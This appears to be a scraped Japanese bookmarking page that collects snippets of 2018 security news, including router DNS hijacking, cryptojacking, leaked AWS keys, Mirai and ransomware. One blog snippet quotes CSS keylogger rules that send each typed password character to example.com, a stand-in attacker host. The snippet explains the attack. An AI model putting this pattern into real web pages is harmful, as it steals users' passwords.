「ルーターにサイバー攻撃か ネット接続で不具合相次ぐ」についてもう少し詳しく - orangeitems’s diary
ルーターへのサイバー攻撃 どうやら、インターネット接続用のルーター機器にサイバー攻撃が流行しているようです。昨日夕方のニュースです。 www.asahi.com 画面に「Ｆａｃｅｂｏｏｋ拡張ツールバッグを取付て安全性及び使用流暢性を向上します」とのメッセージが表示され、ネットにつながらなくなる。 この記事だけでは詳細まで理解するのは難しいと思いまとめることにします。 スポンサーリンク 事例 すでにオフィスで同じ状況になり、解決された方がいらっしゃいますのでご紹介します。 tips4life.me こちらの内容を読むだけでも十分概要はつかめると思います。 以下、解説です。 攻撃の内容 １）攻撃者がルーターに侵入しDNSサーバーのアドレスを変更する 世の中にはたくさんのインターネット接続用ルーターがありますよね。そのルーターにネットワークインターフェースという通信用の部品が必ず入っていて、その
ルーターの設定情報改ざんについてまとめてみた - piyolog
2018年2月末頃から何者かによるルーター内の設定情報が書き換えられる被害が報告されています。改ざんによりインターネットへ接続できなくなったり、マルウェア配布サイトへ誘導されたりする事象が発生し、日本国内でも3月半ばぐらいから同様の事象が報告があがっています。 ここでは関連情報をまとめます。 確認されている被害事象 (1) ルーターの設定情報が改ざんされる ルーター内部に設定されたDNS情報が改ざんされる。 DNSはプライマリ、セカンダリともに改ざんされた事例が報告されている。 (2) マルウェア配布サイトへ誘導される 改ざんされたDNSへ名前解決のクエリを要求するとマルウェアを配布するサイトのIPアドレスが返され配布サイトへ誘導される。 一部サイト（Twitter,Facebookなど）は正規のIPアドレスが返されサイトへ接続できる。 誘導先の配布サイトではマルウェアのインストールを促す
Google Cloud上のサービスをDDoS攻撃から守る新機能「Cloud Armor」公開。XSSやSQLインジェクションも防御可能 － Publickey
Google Cloud上のサービスをDDoS攻撃から守る新機能「Cloud Armor」公開。XSSやSQLインジェクションも防御可能 Googleは、Google SearchやGmail、YouTubeなど自社で提供するサービスがDDos攻撃を受けてもサービスが停止しないよう、DDoS攻撃に対抗できる機能を自社のグローバルネットワークとクラウドの仕組みとして備えています。 同社は、そうしたDDoS攻撃からサービスなどを守る仕組みをGoogle Cloud Platformのユーザーも利用できるように、新機能「Cloud Armor」としてベータ公開しました。Google Cloud Platformのユーザーは自分のクラウドアプリケーションをCloud Armorを用いてDDoS攻撃などから守ることができるようになります。 DDoS攻撃とは、攻撃対象に対して多数の分散した攻撃元から大
児童ポルノがＢＴＣのブロックチェーン上に、犯罪に巻き込まれる恐れも
ドイツの２つの大学の研究者は、ポルノコンテンツなどダウンロードすると法に抵触する恐れがあるデータが、ビットコインのブロックチェーンに存在することを論文で明らかにした。英紙ガーディアンが20日伝えた。 アーヘン工科大学とフランクフルト大学の２つのグループが発表した論文によると、ビットコインの取引に性的画像や児童ポルノへのリンクが添付されており、ブロックチェーン産業が広く犯罪に巻き込まれる恐れがあるという。 「ビットコインのブロックチェーンには、性的内容を持つファイルが少なくとも８つ含まれている。そのうち５つのファイルは、ソフトポルノのコンテンツを見せたり、説明したり、リンクを提供したりしているにすぎないが、残りの３つのファイルは、ほぼすべての国で違法とされる内容を含んでいると、我々は考える。そのうち２つのファイルは、児童ポルノのリンクのリストのバックアップで、274のウェブサイトへのリンクが
「HTTPSで暗号化されているから安全！」とまだ信じているあなたへ
かつてこの世は、闇によって支配されていました。人々は常に、IDやパスワードを掠め取る悪の化身「フィッシング」の恐怖におびえながら暮らしていたのです。そんな世界にさっそうと現れたのが、額に鍵マークを宿した正義の戦士「エッチ・テーテーピー・エス（HTTPS）」でした。敢然と悪と戦うエッチ・テーテーピー・エスは、徐々に闇を駆逐して世界に光を取り戻し、やがてこの世は再び平和を取り戻したとさ。めでたしめでたし。 しかしエッチテーテーピーエスって、名前が長ったらしいね。何とか短く略せないのかね、「ハットゥプゥスッ！」みたいな感じに……逆に読みにくいか。 ともあれ、かつてはこんな“夢物語”が現実に信じられていた時代もありました。この世のサイトが全て常時SSL化されれば、フィッシングをはじめ、さまざまなセキュリティ問題が解決するのではないかと。 そしてそれは、やはり夢と終わりました。そう、夢は覚めてしまっ
暗号化したまま解析できる「セキュアAI」が活躍 高機能暗号とAIを融合した独自技術で注目集めるベンチャー | JBpress(日本ビジネスプレス)
「セキュアAIの分野はブルーオーシャン。海外に出ても十分に勝負できる」と話すEAGLYSの今林広樹代表取締役社長 「セキュリティ技術を伴うことで初めて、人工知能（AI）の活用は広がる。別の言い方をすれば、セキュリティがしっかり担保されなければ、AI活用は加速しない」。 こう言い切るのは、「AIモンスター」として知られる今林広樹氏である。AI（人工知能）に関する深い知識と高い技術力を兼ね備えたプロフェッショナルはAIモンスターと呼ばれることがあり、今林氏もその一人だ。今林氏が2016年12月に設立したEAGLYS（イーグリス）は、「AIモンスターのベンチャー」として多くの企業から注目を集めている。 EAGLYSには毎週、AIを活用したい企業から新たな相談が多数寄せられる。昨年8月の初受注以来、常に複数のAI関連プロジェクトが進行する状態が続いており、現在も3～4件が並行して走っている。25歳
暗号文のままで計算しよう - 準同型暗号入門 -
2. • 準同型暗号とは何か • 加法準同型暗号のデモ • 楕円ElGamal暗号 • 完全準同型暗号 • その原理の雰囲気の紹介 • 『クラウドを支えるこれからの暗号技術』 • 公開鍵暗号の最先端応用技術・理論 • 準同型暗号が載ってる和書は現時点で本書のみ • 数学成分高め • https://herumi.github.io/ango/ 概要 2/39 3. • 光成滋生（@herumi） • @IT連載記事「クラウド時代の暗号化技術論」 • http://www.atmarkit.co.jp/ait/series/1990/ • CODE BLUE2015 • Excelのパスワード暗号化にあったバグの話 • http://www.slideshare.net/herumi/ms-office-54510219 • 属性ベース暗号の実装でIEEE trans. on Compute
安全なWebアプリケーションの作り方改訂のお知らせ
徳丸本こと、「体系的に学ぶ 安全なWebアプリケーションの作り方」は、2011年3月の発売以降大変多くの方に読んでいただきました。ありがとうございます。 ただ、発売から既に7年が経過し、内容が古くなってきた感は否めません。たとえば、クリックジャッキングの説明はほとんどないですし、OWASP Top 10 2017で選入された安全でないデシリアライゼーションやXXEの説明もありません。なにより、Web APIやJavaScriptのセキュリティ等がほとんど書かれていないことが課題となっていました。 そこで、版元のSBクリエイティブと相談して、この度改訂することにいたしました。3月末脱稿、6月頃発売の見込みです。 改訂にあたり、以下を考えています。 Web APIとJavaScriptに関する説明を4章に追加 XHR2対応に向けてCORSの説明を3章に追加 携帯電話の章は丸ごと削除して、別の内
2017年版 SSH公開鍵認証で使用する秘密鍵ペアの作り方 - Qiita
何番煎じかわからないが、 ssh-keygen 最近他の種類も生成すること多くなってきたので。 まあ、 Advent Calendar ネタということで。 よーし埋めるぞ。 RSA 1024bit 以下 絶対に使ってはいけません。 古い puttygen.exe とかだと 1024 ビット以下の鍵が生成されることがあるので注意が必要です。 無難に RSA 2048bit よく使われますが、最近は計算機性能も向上したためか、このビット長の暗号は推奨されないようです。 とはいえNISTによると、2031年以降、RSA 2,048bitをはじめ強度の低いアルゴリズムはほとんどが使用禁止扱いになる。 ECDSAがスタンダードになるのは時間の問題。 ECDSA鍵をGitHubで使う - Qiita
Third party CSS is not safe
A few days ago there was a lot of chatter about a 'keylogger' built in CSS. Some folks called for browsers to 'fix' it. Some folks dug a bit deeper and saw that it only affected sites built in React-like frameworks, and pointed the finger at React. But the real problem is thinking that third party content is 'safe'. Third party images If I include the above, I'm trusting example.com. They may betr
CSSだけでキーロガーを作る（※追記あり） - R42日記
github.com よくもまあこんなこと思いついたなw 要するに、 input[type="password"][value$="a"] { background-image: url("http://example.com/a"); } input[type="password"][value$="b"] { background-image: url("http://example.com/b"); } ... とすることで、キータイプ毎に特定のHTTPリクエストを発生させて、それをサーバ側でキャプチャするわけです。極めて簡単。 これはもう既に悪用されているでしょうなあ… 追記 input[type="password"][value$="a"] { background-image: url("http://example.com/a?id=1234abcd"); } input[
ビットコインの不正マイニングは難しい？サイバー攻撃者がモネロを選ぶ理由
2018年に入ってからのサイバーセキュリティ界隈の主なトレンドを見れば、暗号通貨マイニングがサイバー犯罪の新たなターゲットになっていることは明らかだ。 ランサムウェアはいまだに犯罪者にとって人気のある収益手段だが、暗号通貨の流行はサイバー攻撃者の関心を引いたようで、暗号通貨マイニング関連のマルウェアに関するニュースが頻繁に報じられるようになっている。 スマートフォンからPC、サーバにいたるまでのあらゆる端末にハッカーが侵入し、密かに暗号通貨をマイニングするためにプロセッサパワーを悪用する。そうした陰謀の中には、数百万ドル相当を生成したものもある。 攻撃者は、さまざまな種類のブロックチェーンベースの暗号通貨を生成するためにマイニングしている。だが、暗号通貨として最も一般的で強い存在感を持ち、地下活動でも人気のあるビットコインは、不正なマイニングが他の暗号通貨に比べてそれほど多くない。 Imp
GitHub に AWS キーペアを上げると抜かれるってほんと？？？試してみよー！ - Qiita
🤔 前書き 稀によくある 、AWS を不正利用されちゃう話、 AWSで不正利用され80000ドルの請求が来た話 - Qiita 初心者がAWSでミスって不正利用されて$6,000請求、泣きそうになったお話。 - Qiita AWSが不正利用され300万円の請求が届いてから免除までの一部始終 - Qiita ブコメ等で GitHub にはアクセスキーを検索するBOTが常に動いていて、公開するとすぐに抜かれて不正利用される 的なコメントがつくのを何度か目にしたのですが、 本当にそんな BOT が動いているの？ どのくらいの時間でキーを抜かれて、不正利用が始まるの？ というのが気になったので、検証してみました。 GitHub にそれっぽいパブリックリポジトリを作成、権限が一つもついてない AWS のアクセスキー＆シークレットアクセスキーをうっかり公開、外部から利用されるまでの時間を計測します。
史上最悪規模のDDoS攻撃 「Mirai」まん延、なぜ？
史上最悪規模のDDoS攻撃 「Mirai」まん延、なぜ？：新連載：ITの過去から紡ぐIoTセキュリティ（1/4 ページ） 新たなテクノロジーが生まれると、それを取り巻くさまざまなサービスが生まれ、多くの価値をもたらしてくれます。ですが、そのメリットを享受できるのは大多数の善良なユーザーだけではありません。よからぬことをたくらむ犯罪者もまた、新たなテクノロジーを活用し、さまざまな手法で金銭やそれにつながる個人情報を盗み取ろうと試みます。 この20年あまりでインターネットと社会・経済のデジタル化は大幅に進展しましたが、それに伴ってサイバー犯罪が増加し、無視できない被害を及ぼしています。そして今、IoT（Internet of Things）についても同じことが起こりつつあるのです。 連載：ITの過去から紡ぐIoTセキュリティ 家電製品やクルマ、センサーを組み込んだ建物そのものなど、あらゆるモノ
サイバー攻撃のトレンドは50万台以上のPCが感染したNSA製ツールを悪用したマルウェア
By Mario Antonio Pena Zapatería サイバーセキュリティメディアのThe Hacker Newsによると、2017年は流出したアメリカ国家安全保障局(NSA)製のツールを使って作られたマルウェアがサイバー犯罪者の間で流行しました。このツールを使ったマルウェアにより50万台以上のPCが感染し被害を受けています。 Cryptocurrency Mining Malware Infected Over Half-Million PCs Using NSA Exploit https://thehackernews.com/2018/01/cryptocurrency-mining-malware.html 2017年は、情報漏洩と身代金マルウェア(ランサムウェア)による攻撃の年だったと言っても過言ではありません。暗号通貨関連のマルウェアがサイバー犯罪者にとって「収益率
ランサムウェアの身代金を横取りするTorプロキシサイト | スラド セキュリティ
ランサムウェアの身代金を横取りするTorプロキシサイトの存在をProofpointが確認した。既に対策を講じているランサムウェア運用者もみられるという(Proofpointの記事、 The Registerの記事、 HackReadの記事)。 ランサムウェアの多くはTorの.onionサイトを使用し、身代金の支払先となるビットコインワレットのアドレスを表示する。.onionサイトへのアクセスにはTor Browserが必要となるが、Torプロキシサイトを経由してアクセスすることも可能だ。Torプロキシサイトのドメイン名は「onion.〇〇〇」という形式になっており、.onion URLのドメイン名に「.〇〇〇」部分を付加してアクセスすることで、Torトラフィックを通常のWebトラフィックに変換してくれる。しかし、悪意のあるTorプロキシサイト運営者がページの内容を書き換えて中間者攻撃を行う
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
https://teratail.com/questions/117980
『「HTTPSで暗号化されているから安全！」とまだ信じているあなたへ』へのコメント
東京大学「新しいパスワードは必ず30文字以上」→実は納得できる理由があった「さすが東大」
TechCrunch | Startup and Technology News
